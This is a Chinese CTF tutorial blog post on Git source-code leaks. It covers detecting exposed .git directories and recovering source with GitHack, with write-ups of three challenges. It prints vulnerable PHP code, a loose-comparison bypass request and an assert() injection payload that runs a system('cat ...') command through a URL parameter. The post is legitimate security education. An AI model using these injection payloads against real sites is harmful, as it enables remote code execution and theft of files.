CTF-WEB:Git 源码泄露

Git 源码泄露

开发人员会使用 git 进行版本控制,对站点自动部署。但如果配置不当,可能会将 .git 文件夹直接部署到线上环境,这就引起了 git 泄露漏洞,我们可以利用这个漏洞直接获得网页源码。

确定是否存在泄漏

想要确定是否存在这个漏洞,可以通过以下方式。首先是看看有没有提示醒目地指出 Git,如果有就考虑存在。如果没有也可以使用 dirsearch 工具扫描后台,如果存在则会扫描出 .git 目录如图所示。

当然也可以直接通过网页访问 .git 目录,如果能访问就说明存在。

也可以试着访问 .git/head 文件,如果能下载也能推断存在 Git 源码泄露。

获取泄露的源码

要获取泄露的源码,可以使用 GitHack 工具,下载地址。GitHack 是一个 .git 泄露利用脚本,通过泄露的 .git 文件夹下的文件重建还原工程源代码。在 cmd 命令下键入下面的命令,脚本就会把存在 Git 泄露的源码全部下载下来。

GitHack.py <url>

例题:攻防世界-lottery

打开网页,发现网页让我们买彩票赚钱,随便买下试试。


看意思应该是要赚够钱,然后在这个页面购买才能有 flag。

首先先用御剑扫一下后台,发现有个 robot 协议文件。

打开它看到 Git,因此这个网页应该存在 Git 源码泄露。

使用 GitHack 扫描 url,成功把泄露的文件都下载下来。

GitHack.py http://220.249.52.133:58698/.git/



打开其中的 “api.php” 文件审计代码,注意到这里有个 buy() 函数,这个是我们在网页买彩票会调用的函数。其中我们看到 numbers 这个变量是我们能操作的,函数会以数组的形式提取每位数字。同时这个变量在和随机生成的 win_numbers 变量比较时使用的是 “==”,也就是说可以用弱类型来绕过。

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i = 0; $i < 7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

由于随机变量是数字,因此我们可以使用 true 来满足比较,但是我们显然不能在输入框输入 7 个 “true”。因此我们考虑修改数据包,通过抓包发现数据的传输是通过传一个映射来上传的。

因此抓包之后修改 numbers 变量为一个数组,其中的 7 个变量都是 true。放包之后就能够快速赚钱了,赚够钱后购买得到 flag。

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

例题:攻防世界-mfw

打开网页随便逛逛,在 about 页面发现他使用了 Git,也就是说可能存在 Git 源码泄露。

使用 GitHack 扫描 url,成功把泄露的文件都下载下来。

GitHack.py http://220.249.52.133:58698/.git/


注意到 templates 目录下有个 flag.php 文件,但是这个文件直接访问是看不到东西的,我们还是要在网页上想办法看到这个文件的内容。

打开 index.php 文件得到题目的源码,源码会接收一个 page 参数。

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} 
else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

输出 flag 要满足以下 2 句代码,注意到第二句代码是个 assert() 断言,它可以将参数作为代码来执行。

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")

因此我们考虑让断言执行 cat 命令,直接回显目录下的 flag.php 文件,这样就能看到其中的内容了。构造出的 payload 如下,上传得到 flag。

?page=abc') or system("cat templates/flag.php");//


这个参数和上述的 file 变量替换,等同于执行了以下代码。首先因为网页不存在 abc 页面,所以使用 strpos() 函数会返回 false,因此代码会执行 or 后面的 system() 函数。最后认为添加个注释,让后面的代码不要执行。

assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false")

例题:JMUCTF-leak_snake

根据提示可能是 git 泄露,先访问 .git/head 目录确认下。

既然知道了有 git 泄露,使用 GItHack 脚本得到之前的全部版本。

现在已经有所有的需要的文件了,显然 flag 在 flag.html 中。

注意到有 31 个版本,接下来查看一下时光机 git log。

因此我们怀疑 flag 被分散在了这 31 个文件洪,使用 git diff 两两比较不同,31 个相邻的都比较。

终于搞完了,把所有的不同字符串成一句话得到 flag。

posted @ 2020-09-03 08:45  乌漆WhiteMoon  阅读(15132)  评论(0编辑  收藏  举报